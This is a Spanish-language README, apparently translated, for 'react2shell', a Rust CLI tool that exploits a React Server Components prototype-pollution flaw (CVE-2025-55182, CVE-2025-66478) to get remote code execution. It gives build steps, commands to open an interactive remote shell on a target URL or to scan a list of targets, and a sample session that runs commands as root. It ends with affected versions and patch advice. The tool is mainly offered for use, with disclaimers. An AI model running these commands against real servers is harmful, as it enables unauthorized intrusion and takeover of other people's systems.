
Una herramienta CLI que explota vulnerabilidades en React Server Components y Server Actions (CVE-2025-55182, CVE-2025-66478) para lograr ejecución remota de código (RCE) en servidores vulnerables.
Una herramienta CLI para explotar vulnerabilidades de contaminación de prototipos en Componentes de Servidor React / Acciones de Servidor (CVE-2025-55182 y CVE-2025-66478), permitiendo la ejecución remota de código (RCE) en servidores vulnerables.
PoC original : https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc
ADVERTENCIA: Esta herramienta apunta a una vulnerabilidad crítica (CVSS 10.0) que está siendo explotada activamente en la naturaleza. Úsela solo en sistemas que posea o para los que tenga autorización explícita para realizar pruebas.
Esta herramienta está destinada únicamente para fines educativos, pruebas de seguridad autorizadas, pruebas de penetración con permiso e investigación de vulnerabilidades.
El autor y los contribuyentes no asumen ninguna responsabilidad por cualquier mal uso, daño o consecuencia legal derivada del uso de esta herramienta. Usted es completamente responsable de asegurar que su uso cumple con todas las leyes, regulaciones y términos de servicio aplicables.
El uso no autorizado contra sistemas sin permiso es ilegal en la mayoría de las jurisdicciones y puede resultar en sanciones severas.
git clone https://github.com/mantvmass/react2shell.git
cd react2shell
cargo build --release
El binario estará en target/release/react2shell (o react2shell.exe en Windows).
Descargue desde la página de Lanzamientos.
react2shell [COMMAND] [SOURCE]
open <URL>: Abre un shell inverso interactivo en el objetivo (si es vulnerable).scan <FILE>: Escanea una lista de objetivos desde un archivo (una URL por línea) en busca de vulnerabilidades.# Open interactive shell
react2shell open http://vulnerable-target.com
# Scan multiple targets
react2shell scan targets.txt
# Scan single target
react2shell scan http://127.0.0.1:3000
[email protected]:3000 (js)
$ /help # Display all supported commands
Commands;
/new <URL> ; Switch URL target # Switch URL target
/use exec ; Execute command and wait for output # Switch to exec mode (waits for result)
/use exec-no-wait ; Execute command without waiting # Exec mode without waiting for output
/use js ; Execute JavaScript code # Switch back to JavaScript mode
/set timeout <ms> ; Set command timeout in milliseconds # Configure command timeout
/show options ; Show current configuration # Display current shell settings
/clear ; Clear screen # Clear the terminal screen
/exit or /quit ; Exit the shell # Exit the interactive shell
Examples;
ls -la # Example Linux command
whoami # Show current system user
console.log('Hello') # Example JavaScript command
[email protected]:3000 (js)
$ /use exec # Switch from JS mode to exec mode
[+] Switch shell mode to exec
[email protected]:3000 (exec)
$ whoami # Verify current execution user
root # Command output
Las aplicaciones que usan React Server Components con App Router se ven afectadas cuando ejecutan las siguientes versiones:
Las siguientes no están afectadas:
La vulnerabilidad existe en React versiones 19.0, 19.1.0, 19.1.1 y 19.2.0 dentro de los siguientes paquetes:
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopackSe recomienda encarecidamente la actualización inmediata a versiones parcheadas, especialmente para entornos de producción.
La solución principal es actualizar a las versiones parcheadas de React y Next.js.
Para aplicaciones Next.js, use el solucionador automatizado oficial:
npx fix-react2shell-next
Más información: vercel-labs/fix-react2shell-next
Vea los avisos oficiales:
Este proyecto se publica únicamente con fines educativos y de investigación de seguridad autorizada. Toda responsabilidad por el uso recae en el usuario final.